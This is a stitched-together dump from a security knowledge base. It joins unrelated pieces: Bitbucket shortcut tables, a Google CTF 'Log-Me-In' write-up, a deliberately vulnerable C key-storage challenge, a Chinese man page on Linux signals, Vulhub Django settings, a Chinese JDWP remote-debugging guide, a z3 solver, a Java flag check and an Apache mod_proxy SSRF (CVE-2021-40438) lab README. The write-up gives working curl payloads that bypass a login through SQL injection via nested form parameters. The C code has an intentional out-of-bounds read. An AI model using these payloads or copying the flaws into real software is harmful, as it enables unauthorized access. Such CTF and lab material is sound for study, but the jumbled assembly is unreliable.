`G` `A` | Go to your Personal Settings
`Esc` | Dismiss dialog or remove focus
`U` | Go back
{.shortcuts}
### Repository pages (except for Source)
Shortcut | Action
---|---
`C` `R` | Create a repository
`I` `R` | Import a repository
`R` `S` | Open repository source
`R` `C` | Open repository commits
`R` `B` | Open repository branches
`R` `P` | Open repository pull requests
`R` `I` | Open repository issues
`R` `W` | Open repository wiki
`R` `D` | Open repository downloads
`R` `A` | Open repository settings
`F` | Search for file
{.shortcuts}
### Repository pages (except for Source and Settings) {.row-span-2}
Shortcut | Action
---|---
`X` `F` | Fork repository
`X` `B` | Create branch
`X` `C` | Compare branches or tags
`X` `P` | Create pull request
`X` `I` | Create issue
{.shortcuts}
### Pull requests {.row-span-2}
Shortcut | Action
---|---
`Ctrl` `Enter` | Submit a comment
`T` `C` | Toggle display of inline comments
`P` `D` | Switch to the pull request diff tab
`P` `C` | Switch to the pull request commits tab
`P` `A` | Switch to the pull request activity tab
`Shift` `T` | Show the list of tasks
{.shortcuts}
### Repository pages with sidebar
Shortcut | Action
---|---
`]` | Expand and collapse right sidebar
{.shortcuts}
### Repository source
Shortcut | Action
---|---
`F` | Focus the file filter
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Bitbucket](https://confluence.atlassian.com/bitbucket/keyboard-shortcuts-269980511.html) _(confluence.atlassian.com)_
|
sec-knowleage
|
# Log-Me-In
Category: Web
> Log in to get the flag
The following file was attached:
```javascript
/**
* @fileoverview Description of this file.
*/
const mysql = require('mysql');
const express = require('express');
const cookieSession = require('cookie-session');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const flagValue = "..."
const targetUser = "michelle"
const {
v4: uuidv4
} = require('uuid');
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
/* strict routing to prevent /note/ paths etc. */
app.set('strict routing', true)
app.use(cookieParser());
/* secure session in cookie */
app.use(cookieSession({
name: 'session',
keys: ['...'] //don't even bother
}));
app.use(bodyParser.urlencoded({
extended: true
}))
app.use(function(req, res, next) {
if(req && req.session && req.session.username) {
res.locals.username = req.session.username
res.locals.flag = req.session.flag
} else {
res.locals.username = false
res.locals.flag = false
}
next()
});
/* server static files from static folder */
app.use('/static', express.static('static'))
app.use(function( req, res, next) {
if(req.get('X-Forwarded-Proto') == 'http') {
res.redirect('https://' + req.headers.host + req.url)
} else {
if (process.env.DEV) {
return next()
} else {
return next()
}
}
});
// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* csrf middleware, csrf_token stored in the session cookie */
const csrf = (req, res, next) => {
const csrf = uuidv4();
req.csrf = req.session.csrf || uuidv4();
req.session.csrf = csrf;
res.locals.csrf = csrf;
nocache(res);
if (req.method == 'POST' && req.csrf !== req.body.csrf) {
return res.render('index', {error: 'Invalid CSRF token'});
}
next();
}
/* disable cache on specifc endpoints */
const nocache = (res) => {
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
res.setHeader('Pragma', 'no-cache');
res.setHeader('Expires', '0');
}
/* auth middleware */
const auth = (req, res, next) => {
if (!req.session || !req.session.username) {
return res.render('index', {error:"You must be logged in to access that"});
}
next()
}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`
app.get('/logout', (req, res) => {
req.session = null;
res.redirect('/');
});
app.get('/', csrf, (req, res) => {
res.render('index');
});
app.get('/about', (req, res) => {
res.render('about');
});
app.get('/me', auth, (req, res) => {
res.render('profile');
});
app.get('/flag', csrf, auth, (req, res) => {
res.render('premium')
});
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const u = req.body['username'];
const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {
if(err) {
res.render('login', {error: `Unknown error: ${err}`});
} else if(qResult.length) {
const username = qResult[0]['username'];
let flag;
if(username.toLowerCase() == targetUser) {
flag = flagValue
} else{
flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
}
req.session.username = username
req.session.flag = flag
res.redirect('/me');
} else {
res.render('login', {error: "Invalid username or password"})
}
});
});
/*
* ...SNIP...
*/
```
## Solution
This is a simple node.js application which offers not much more than a login page. However, we need to login as "Michelle" if we want to get the flag.
At first I thought this must be a prototype pollution challenge, targeting:
```javascript
if(username.toLowerCase() == targetUser) {
flag = flagValue
}
```
If we could pollute the `object` prototype and override `toLowerCase` with logic of our own, we would be able to return "michelle" instead of the actual lower case. But first, we need to find a way to log in with some username in order to pass the `qResult.length` check.
Luckily, `admin:admin` did the trick:
```console
root@kali:/media/sf_CTFs/google/logmein# curl 'https://log-me-in.web.ctfcompetition.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "username=admin&password=admin" && echo
Found. Redirecting to /me
```
However, I wasn't able to find a way to pollute the prototype and override `toLowerCase`. Eventually I moved on to try other things, such as sending the same parameter twice with different values:
```console
root@kali:/media/sf_CTFs/google/logmein# curl 'https://log-me-in.web.ctfcompetition.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "username=admin&password=admin&username=michelle" -s | grep ERROR
<p>Unknown error: Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'michelle' and password = 'admin' order by id' at line 1</p>
```
This gave out an SQL error, proving that we are able to meddle with the SQL query.
The next thing I tried was the *extended* syntax of `body-parser`, which `allows for rich objects and arrays to be encoded into the URL-encoded format`. It worked for [Pasteurize](Pasteurize.md) after all.
```console
root@kali:/media/sf_CTFs/google/logmein# curl 'https://log-me-in.web.ctfcompetition.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "username=admin&password[test]=admin" -s | grep
ERROR
<p>Unknown error: Error: ER_BAD_FIELD_ERROR: Unknown column 'test' in 'where clause'</p>
```
`Unknown column 'test'`? This looks really promising. Next thing to try is:
```console
root@kali:/media/sf_CTFs/google/logmein# curl 'https://log-me-in.web.ctfcompetition.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "username=michelle&password[username]=admin" -s
Found. Redirecting to /me
```
Looks like we were able to log in! Let's check the cookie:
```console
root@kali:/media/sf_CTFs/google/logmein# curl 'https://log-me-in.web.ctfcompetition.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "username=michelle&password[username]=admin" -s -v 2>&1 | grep cookie
< set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly
< set-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponly
root@kali:/media/sf_CTFs/google/logmein# echo eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9 | base64 -d
{"username":"michelle","flag":"CTF{a-premium-effort-deserves-a-premium-flag}"}
```
The flag: `CTF{a-premium-effort-deserves-a-premium-flag}`
|
sec-knowleage
|
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include "aes.h"
#define MAX_KEY_LEN 16
#define KEY_SIZE_LEN 1
#define ENTRY_SIZE (MAX_KEY_LEN + KEY_SIZE_LEN)
#define NUM_KEYS 16
#define STORAGE_SIZE (ENTRY_SIZE * NUM_KEYS)
#define MASTER_KEY_INDEX 0
#define DATA_SIZE 16
uint8_t keys[STORAGE_SIZE];
uint8_t data[DATA_SIZE];
uint8_t current_key[MAX_KEY_LEN];
void regenerate_key(unsigned int index, unsigned int len) {
unsigned int offset = index * ENTRY_SIZE;
if (offset > STORAGE_SIZE - ENTRY_SIZE || len > MAX_KEY_LEN) {
return;
}
int fd = open("/dev/urandom", O_RDONLY);
read(fd, &keys[offset], len);
close(fd);
keys[offset + MAX_KEY_LEN] = len;
}
// [(MAX_KEY_LEN, KEY_SIZE_KEN), (MAX_KEY_LEN, KEY_SIZE_KEN), (MAX_KEY_LEN, KEY_SIZE_KEN), (MAX_KEY_LEN, KEY_SIZE_KEN) ...]
// index > NUM_KEYS - 1
void load_key(unsigned int index) {
unsigned int offset = index * ENTRY_SIZE;
unsigned int key_len = keys[offset + MAX_KEY_LEN];
if (offset > STORAGE_SIZE - ENTRY_SIZE || key_len > MAX_KEY_LEN) {
return;
}
memcpy(current_key, &keys[offset], key_len);
}
void encrypt(void) {
uint8_t data_out[DATA_SIZE];
AES128_ECB_encrypt(data, current_key, data_out);
write(1, data_out, 16);
}
void load_data(void) {
int ret;
read(0, data, DATA_SIZE);
if (ret < 1)
exit(0);
}
int main(void) {
int i;
for (i = 0; i < NUM_KEYS; i++) {
regenerate_key(i, MAX_KEY_LEN);
}
int fd = open("flag.txt", O_RDONLY);
read(fd, data, DATA_SIZE);
close(fd);
load_key(MASTER_KEY_INDEX);
encrypt();
memset(data, 0, DATA_SIZE);
regenerate_key(MASTER_KEY_INDEX, MAX_KEY_LEN);
char cmd;
int ret;
unsigned int p1, p2;
while(1) {
ret = read(0, &cmd, 1);
if (ret < 1)
return 0;
if (cmd == 'l') {
load_data();
} else if (cmd == 'e') {
encrypt();
} else if (cmd == 'r') {
ret = read(0, &p1, sizeof(p1));
if (ret < 1)
return 0;
read(0, &p2, sizeof(p2));
if (ret < 1)
return 0;
regenerate_key(p1, p2);
} else if (cmd == 'k') {
read(0, &p1, sizeof(p1));
if (ret < 1)
return 0;
load_key(p1);
}
}
}
|
sec-knowleage
|
'\" t
.\" Copyright (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\" License.
.\" Modified Sat Jul 24 17:34:08 1993 by Rik Faith (faith@cs.unc.edu)
.\" Modified Sun Jan 7 01:41:27 1996 by Andries Brouwer (aeb@cwi.nl)
.\" Modified Sun Apr 14 12:02:29 1996 by Andries Brouwer (aeb@cwi.nl)
.\" Modified Sat Nov 13 16:28:23 1999 by Andries Brouwer (aeb@cwi.nl)
.\"
.TH SIGNAL 7 "April 14, 1996" "Linux 1.3.88" "Linux Programmer's Manual"
.SH NAME
signal \- 有效信号的清单
.SH "描述 (DESCRIPTION)"
下面 列出 Linux 支持的 信号. 某些 信号 依赖于 体系结构(architecture).
首先, POSIX.1 描述了 下列 信号.
.sp
.PP
.TS
l c c l
____
lB c c l.
信号 值 动作 说明
SIGHUP \01 A 在控制终端上是挂起信号, 或者控制进程结束
SIGINT \02 A 从键盘输入的中断
SIGQUIT \03 C 从键盘输入的退出
SIGILL \04 C 无效硬件指令
SIGABRT \06 C 非正常终止, 可能来自 \fIabort\fP(3)
SIGFPE \08 C 浮点运算例外
SIGKILL \09 AEF 杀死进程信号
SIGSEGV 11 C 无效的内存引用
SIGPIPE 13 A 管道中止: 写入无人读取的管道
SIGALRM 14 A 来自 \fIalarm\fP(2) 的超时信号
SIGTERM 15 A 终止信号
SIGUSR1 30,10,16 A 用户定义的信号 1
SIGUSR2 31,12,17 A 用户定义的信号 2
SIGCHLD 20,17,18 B 子进程结束或停止
SIGCONT 19,18,25 继续停止的进程
SIGSTOP 17,19,23 DEF 停止进程
SIGTSTP 18,20,24 D 终端上发出的停止信号
SIGTTIN 21,21,26 D 后台进程试图从控制终端(tty)输入
SIGTTOU 22,22,27 D 后台进程试图在控制终端(tty)输出
.TE
下面的 信号 定义 在 SUSv2 中, 而 POSIX.1 没有 定义.
.sp
.PP
.TS
l c c l
____
lB c c l.
信号 值 动作 说明
SIGBUS 10,7,10 C 总线错误 (不正确的内存访问)
SIGPOLL A I/O就绪事件 (Sys V). 等同于SIGIO
SIGPROF 27,27,29 A 系统资源定时器(Profiling timer)超时
SIGSYS 12,\-,12 C 用错误参数调用系统例程 (SVID)
SIGTRAP 5 C 跟踪/断点自陷
SIGURG 16,23,21 B 套接口上出现 urgent 情况 (4.2 BSD)
SIGVTALRM 26,26,28 A 虚拟超时时钟 (4.2 BSD)
SIGXCPU 24,24,30 C 超过了CPU时间限制 (4.2 BSD)
SIGXFSZ 25,25,31 C 超过了文件大小限制 (4.2 BSD)
.TE
(这里的 SIGSYS, SIGXCPU, SIGXFSZ, 以及 某些 系统上 的 SIGBUS,
Linux 的 缺省动作 (到2.3.27版) 是 A(结束), 而 SUSv2 声明是 C(结束且核心转储).)
下面 是 其他 几个 信号.
.sp
.PP
.TS
l c c l
____
lB c c l.
信号 值 动作 说明
SIGIOT 6 C IOT 自陷. 等同于 SIGABRT
SIGEMT 7,\-,7
SIGSTKFLT \-,16,\- A 协处理器堆栈错误
SIGIO 23,29,22 A I/O 有效信号 (4.2 BSD)
SIGCLD \-,\-,18 等同于 SIGCHLD
SIGPWR 29,30,19 A 电源无效 (System V)
SIGINFO 29,\-,\- 等同于 SIGPWR
SIGLOST \-,\-,\- A 文件锁丢失
SIGWINCH 28,28,20 B 窗口大小调整信号 (4.3 BSD, Sun)
SIGUNUSED \-,31,\- A 未使用的信号 (将成为 SIGSYS)
.TE
这里的 \- 指 信号 不存在; 可能 给出 三个值, 第一个值 一般 用于 alpha 和 sparc,
中间的值 用于 i386, ppc 和 sh, 最后一个 是 mips 的.
信号29 在 alpha机上 是
.B SIGINFO
/
.B SIGPWR
, 而在 sparc机上 是
.B SIGLOST
.PP
"动作(Action)"栏 的 字母 有 下列 含义:
.IP A
缺省动作是结束进程.
.IP B
缺省动作是忽略这个信号.
.IP C
缺省动作是结束进程, 并且核心转储.
.IP D
缺省动作是停止进程.
.IP E
信号不能被捕获.
.IP F
信号不能被忽略.
.PP
(译注: 这里 "结束" 指 进程 终止 并 释放资源, "停止" 指 进程 停止 运行,
但是 资源 没有 释放, 有可能 继续 运行.)
.SH "遵循 (CONFORMING TO)"
POSIX.1
.SH BUGS
.B SIGIO
和
.B SIGLOST
有 相同的 值. 后者 在 内核 源码 中 被注释 掉了,
但是 某些 软件 构造的 进程 仍然 认为 信号29 是
.BR SIGLOST .
.SH "另见 (SEE ALSO)"
.BR kill (1),
.BR kill (2),
.BR setitimer (2)
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.B 2000/10/15
第一版
.br
.BR 2001/11/24
第一次修订
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
import os
import sys
os.environ.setdefault("DJANGO_SETTINGS_MODULE", __name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DEBUG = True
SECRET_KEY = 'vulhub'
ALLOWED_HOSTS = ['*']
MIDDLEWARE = [
'django.middleware.common.CommonMiddleware',
]
ROOT_URLCONF = 'vuln.urls'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'console': {
'class': 'logging.StreamHandler',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'level': os.getenv('DJANGO_LOG_LEVEL', 'WARNING'),
},
},
}
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'cve',
'USER': 'root',
'PASSWORD': 'mysql',
'HOST': 'db',
'PORT': '3306',
}
}
INSTALLED_APPS = [
'vuln'
]
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
|
sec-knowleage
|
# 远程调试
## Jar包
在Java开发中,可以通过在代码中添加调试信息的方式进行本地调试,也可以通过远程调试来定位问题。远程调试时,需要使用Java远程调试工具,例如Java Debug Wire Protocol (JDWP)。
在使用JDWP进行远程调试时,需要进行以下步骤:
1. 启动Java应用程序:需要在命令行或脚本中添加以下参数,以启动远程调试模式:
```
-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n
```
其中,`transport=dt_socket` 表示使用socket传输协议,`address=8000` 表示调试端口号为8000,`server=y` 表示以服务端方式运行,`suspend=n` 表示不在启动时暂停。
2. 连接调试器:使用支持JDWP的调试器(例如Eclipse、IntelliJ IDEA等),创建一个新的远程调试配置,指定调试端口为8000,并连接到远程主机。
3. 开始调试:一旦连接成功,就可以开始进行调试操作了,例如在调试器中设置断点、查看变量值等。
## Weblogic
配置Weblogic服务器:首先需要在Weblogic服务器中启用远程调试功能。可以在 `startWebLogic.cmd` 脚本中添加以下参数:
```
-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,server=y,address=4000,suspend=n
```
## Tomcat
配置Tomcat服务器:首先需要在Tomcat服务器中启用远程调试功能。可以在 `catalina.sh` 脚本中添加以下参数:
```
CATALINA_OPTS="$CATALINA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n"
```
|
sec-knowleage
|
from z3 import *
s = Solver()
KEY_LEN = 41
key = [BitVec("{}".format(i), 32) for i in range(KEY_LEN)]
for i in range(KEY_LEN):
s.add(key[i] >= ord('!'))
s.add(key[i] <= ord('~'))
local288 = key[0]
local289 = key[1]
local300 = key[2]
local311 = key[3]
local322 = key[4]
local324 = key[5]
local325 = key[6]
local326 = key[7]
local327 = key[8]
local328 = key[9]
local290 = key[10]
local291 = key[11]
local292 = key[12]
local293 = key[13]
local294 = key[14]
local295 = key[15]
local296 = key[16]
local297 = key[17]
local298 = key[18]
local299 = key[19]
local301 = key[20]
local302 = key[21]
local303 = key[22]
local304 = key[23]
local305 = key[24]
local306 = key[25]
local307 = key[26]
local308 = key[27]
local309 = key[28]
local310 = key[29]
local312 = key[30]
local313 = key[31]
local314 = key[32]
local315 = key[33]
local316 = key[34]
local317 = key[35]
local318 = key[36]
local319 = key[37]
local320 = key[38]
local321 = key[39]
local323 = key[40]
def abs(x):
return If(x < 0, 0 - x, x)
local452 = 0
local41 = local288
local370 = local41 ^ -1
local206 = local370 & 208
local42 = local288
local207 = local42 & -209
local411 = local206 | local207
local453 = local411 - 184
local329 = abs(local453)
local77 = local452
local165 = local77 + local329
local452 = local165
local88 = local289
local387 = local88 ^ -1
local266 = local387 & 146
local99 = local289
local271 = local99 & -147
local444 = local266 | local271
local487 = local444 - 230
local364 = abs(local487)
local110 = local452
local202 = local110 + local364
local452 = local202
local121 = local300
local409 = local121 ^ -1
local208 = local409 & 100
local132 = local300
local213 = local132 & -101
local415 = local208 | local213
local458 = local415 - 16
local335 = abs(local458)
local143 = local452
local173 = local143 + local335
local452 = local173
local154 = local311
local380 = local154 ^ -1
local230 = local380 & 203
local43 = local311
local235 = local43 & -204
local426 = local230 | local235
local469 = local426 - 187
local346 = abs(local469)
local54 = local452
local184 = local54 + local346
local452 = local184
local65 = local322
local392 = local65 ^ -1
local252 = local392 & 3
local70 = local322
local257 = local70 & -4
local437 = local252 | local257
local480 = local437 - 57
local357 = abs(local480)
local71 = local452
local194 = local71 + local357
local452 = local194
local72 = local324
local400 = local72 ^ -1
local267 = local400 & 61
local73 = local324
local268 = local73 & -62
local441 = local267 | local268
local483 = local441 - 18
local359 = abs(local483)
local74 = local452
local195 = local74 + local359
local452 = local195
local75 = local325
local401 = local75 ^ -1
local269 = local401 & 3
local76 = local325
local270 = local76 & -4
local442 = local269 | local270
local484 = local442 - 44
local360 = abs(local484)
local78 = local452
local196 = local78 + local360
local452 = local196
local79 = local326
local402 = local79 ^ -1
local272 = local402 & 166
local80 = local326
local273 = local80 & -167
local443 = local272 | local273
local485 = local443 - 206
local361 = abs(local485)
local81 = local452
local197 = local81 + local361
local452 = local197
local82 = local327
local403 = local82 ^ -1
local274 = local403 & 42
local83 = local327
local275 = local83 & -43
local445 = local274 | local275
local486 = local445 - 25
local362 = abs(local486)
local84 = local452
local198 = local84 + local362
local452 = local198
local85 = local328
local404 = local85 ^ -1
local276 = local404 & 151
local86 = local328
local277 = local86 & -152
local446 = local276 | local277
local488 = local446 - 244
local363 = abs(local488)
local87 = local452
local199 = local87 + local363
local452 = local199
local89 = local290
local405 = local89 ^ -1
local278 = local405 & 250
local90 = local290
local279 = local90 & -251
local447 = local278 | local279
local489 = local447 - 145
local365 = abs(local489)
local91 = local452
local200 = local91 + local365
local452 = local200
local92 = local291
local406 = local92 ^ -1
local280 = local406 & 209
local93 = local291
local281 = local93 & -210
local448 = local280 | local281
local490 = local448 - 252
local366 = abs(local490)
local94 = local452
local201 = local94 + local366
local452 = local201
local95 = local292
local407 = local95 ^ -1
local282 = local407 & 249
local96 = local292
local283 = local96 & -250
local449 = local282 | local283
local491 = local449 - 128
local367 = abs(local491)
local97 = local452
local203 = local97 + local367
local452 = local203
local98 = local293
local408 = local98 ^ -1
local284 = local408 & 138
local100 = local293
local285 = local100 & -139
local450 = local284 | local285
local492 = local450 - 185
local368 = abs(local492)
local101 = local452
local204 = local101 + local368
local452 = local204
local102 = local294
local410 = local102 ^ -1
local286 = local410 & 163
local103 = local294
local287 = local103 & -164
local451 = local286 | local287
local493 = local451 - 151
local369 = abs(local493)
local104 = local452
local205 = local104 + local369
local452 = local205
local105 = local295
local371 = local105 ^ -1
local209 = local371 & 144
local106 = local295
local210 = local106 & -145
local412 = local209 | local210
local454 = local412 - 248
local330 = abs(local454)
local107 = local452
local166 = local107 + local330
local452 = local166
local108 = local296
local372 = local108 ^ -1
local211 = local372 & 150
local109 = local296
local212 = local109 & -151
local413 = local211 | local212
local455 = local413 - 187
local331 = abs(local455)
local111 = local452
local167 = local111 + local331
local452 = local167
local112 = local297
local373 = local112 ^ -1
local214 = local373 & 66
local113 = local297
local215 = local113 & -67
local414 = local214 | local215
local456 = local414 - 116
local332 = abs(local456)
local114 = local452
local168 = local114 + local332
local452 = local168
local115 = local298
local374 = local115 ^ -1
local216 = local374 & 244
local116 = local298
local217 = local116 & -245
local416 = local216 | local217
local457 = local416 - 197
local333 = abs(local457)
local117 = local452
local169 = local117 + local333
local452 = local169
local118 = local299
local375 = local118 ^ -1
local218 = local375 & 58
local119 = local299
local219 = local119 & -59
local417 = local218 | local219
local459 = local417 - 87
local334 = abs(local459)
local120 = local452
local170 = local120 + local334
local452 = local170
local122 = local301
local376 = local122 ^ -1
local220 = local376 & 21
local123 = local301
local221 = local123 & -22
local418 = local220 | local221
local460 = local418 - 120
local336 = abs(local460)
local124 = local452
local171 = local124 + local336
local452 = local171
local125 = local302
local377 = local125 ^ -1
local222 = local377 & 150
local126 = local302
local223 = local126 & -151
local419 = local222 | local223
local461 = local419 - 165
local337 = abs(local461)
local127 = local452
local172 = local127 + local337
local452 = local172
local128 = local303
local378 = local128 ^ -1
local224 = local378 & 211
local129 = local303
local225 = local129 & -212
local420 = local224 | local225
local462 = local420 - 254
local338 = abs(local462)
local130 = local452
local174 = local130 + local338
local452 = local174
local131 = local304
local379 = local131 ^ -1
local226 = local379 & 229
local133 = local304
local227 = local133 & -230
local421 = local226 | local227
local463 = local421 - 208
local339 = abs(local463)
local134 = local452
local175 = local134 + local339
local452 = local175
local135 = local305
local381 = local135 ^ -1
local228 = local381 & 187
local136 = local305
local229 = local136 & -188
local422 = local228 | local229
local464 = local422 - 139
local340 = abs(local464)
local137 = local452
local176 = local137 + local340
local452 = local176
local138 = local306
local382 = local138 ^ -1
local231 = local382 & 163
local139 = local306
local232 = local139 & -164
local423 = local231 | local232
local465 = local423 - 206
local341 = abs(local465)
local140 = local452
local177 = local140 + local341
local452 = local177
local141 = local307
local383 = local141 ^ -1
local233 = local383 & 107
local142 = local307
local234 = local142 & -108
local424 = local233 | local234
local466 = local424 - 88
local342 = abs(local466)
local144 = local452
local178 = local144 + local342
local452 = local178
local145 = local308
local384 = local145 ^ -1
local236 = local384 & 174
local146 = local308
local237 = local146 & -175
local425 = local236 | local237
local467 = local425 - 131
local343 = abs(local467)
local147 = local452
local179 = local147 + local343
local452 = local179
local148 = local309
local385 = local148 ^ -1
local238 = local385 & 106
local149 = local309
local239 = local149 & -107
local427 = local238 | local239
local468 = local427 - 9
local344 = abs(local468)
local150 = local452
local180 = local150 + local344
local452 = local180
local151 = local310
local386 = local151 ^ -1
local240 = local386 & 34
local152 = local310
local241 = local152 & -35
local428 = local240 | local241
local470 = local428 - 18
local345 = abs(local470)
local153 = local452
local181 = local153 + local345
local452 = local181
local155 = local312
local388 = local155 ^ -1
local242 = local388 & 186
local156 = local312
local243 = local156 & -187
local429 = local242 | local243
local471 = local429 - 138
local347 = abs(local471)
local157 = local452
local182 = local157 + local347
local452 = local182
local158 = local313
local389 = local158 ^ -1
local244 = local389 & 225
local159 = local313
local245 = local159 & -226
local430 = local244 | local245
local472 = local430 - 141
local348 = abs(local472)
local160 = local452
local183 = local160 + local348
local452 = local183
local161 = local314
local390 = local161 ^ -1
local246 = local390 & 8
local162 = local314
local247 = local162 & -9
local431 = local246 | local247
local473 = local431 - 37
local349 = abs(local473)
local163 = local452
local185 = local163 + local349
local452 = local185
local164 = local315
local391 = local164 ^ -1
local248 = local391 & 12
local44 = local315
local249 = local44 & -13
local432 = local248 | local249
local474 = local432 - 57
local350 = abs(local474)
local45 = local452
local186 = local45 + local350
local452 = local186
local46 = local316
local393 = local46 ^ -1
local250 = local393 & 62
local47 = local316
local251 = local47 & -63
local433 = local250 | local251
local475 = local433 - 73
local351 = abs(local475)
local48 = local452
local187 = local48 + local351
local452 = local187
local49 = local317
local394 = local49 ^ -1
local253 = local394 & 228
local50 = local317
local254 = local50 & -229
local434 = local253 | local254
local476 = local434 - 208
local352 = abs(local476)
local51 = local452
local188 = local51 + local352
local452 = local188
local52 = local318
local395 = local52 ^ -1
local255 = local395 & 85
local53 = local318
local256 = local53 & -86
local435 = local255 | local256
local477 = local435 - 99
local353 = abs(local477)
local55 = local452
local189 = local55 + local353
local452 = local189
local56 = local319
local396 = local56 ^ -1
local258 = local396 & 110
local57 = local319
local259 = local57 & -111
local436 = local258 | local259
local478 = local436 - 64
local354 = abs(local478)
local58 = local452
local190 = local58 + local354
local452 = local190
local59 = local320
local397 = local59 ^ -1
local260 = local397 & 79
local60 = local320
local261 = local60 & -80
local438 = local260 | local261
local479 = local438 - 55
local355 = abs(local479)
local61 = local452
local191 = local61 + local355
local452 = local191
local62 = local321
local398 = local62 ^ -1
local262 = local398 & 227
local63 = local321
local263 = local63 & -228
local439 = local262 | local263
local481 = local439 - 154
local356 = abs(local481)
local64 = local452
local192 = local64 + local356
local452 = local192
local66 = local323
local399 = local66 ^ -1
local264 = local399 & 14
local67 = local323
local265 = local67 & -15
local440 = local264 | local265
local482 = local440 - 116
local358 = abs(local482)
local68 = local452
local193 = local68 + local358
local452 = local193
local69 = local452
#global$0 = local495
s.add(local69 == 0)
if s.check() == sat:
model = s.model()
res = ""
for i in range(KEY_LEN):
res += chr(model[key[i]].as_long())
print(res)
|
sec-knowleage
|
# Google CTF 2019 Finals
Team: des, rodbert, msm, nazywam, c7, niedzejkob, rev, shalom
### Table of contents
* [Fractorization (crypto)](fractorization)

|
sec-knowleage
|
package com.p000a;
public class Check {
public static boolean check(String str) {
if (str.length() != 36 || str.substring(15, 16).equals("r") || str.substring(1, 2).equals("I") || str.substring(6, 7).equals("h") || str.substring(4, 5).equals("{") || str.substring(11, 12).equals("s") || str.substring(17, 18).equals("a") || str.substring(34, 35).equals("g") || str.substring(2, 3).equals("T") || str.substring(9, 10).equals("_") || str.substring(24, 25).equals("o") || str.substring(25, 26).equals("t") || str.substring(18, 19).equals("i") || str.substring(0, 1).equals("H") || str.substring(33, 34).equals("a") || str.substring(31, 32).equals("f") || str.substring(10, 11).equals("i") || str.substring(14, 15).equals("e") || str.substring(16, 17).equals("t") || str.substring(19, 20).equals("n") || str.substring(7, 8).equals("i") || str.substring(30, 31).equals("_") || str.substring(28, 29).equals("h") || str.substring(8, 9).equals("s") || str.substring(20, 21).equals("l") || str.substring(22, 23).equals("_") || str.substring(12, 13).equals("_") || str.substring(29, 30).equals("e") || str.substring(26, 27).equals("_") || str.substring(32, 33).equals("l") || str.substring(21, 22).equals("y") || str.substring(3, 4).equals("B") || str.substring(5, 6).equals("t") || str.substring(13, 14).equals("c") || str.substring(35, 36).equals("}") || str.substring(27, 28).equals("t") || str.substring(23, 24).equals("n")) {
return false;
}
return true;
}
}
|
sec-knowleage
|
# Apache HTTP Server 2.4.48 mod_proxy SSRF (CVE-2021-40438)
[中文版本(Chinese version)](README.zh-cn.md)
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows.
A Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated attacker to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network.
References:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
## Vulnerable environment
Execute following commands to start a vulnerable Apache HTTP Server:
```
docker compose build
docker compose up -d
```
After the server is started, you can see the example site of a backend Apache Tomcat server. Here, Apache HTTP Server is running as a intermediate reverse proxy between the client and the back-end Tomcat server, and they communicate through the AJP protocol.
## Exploit
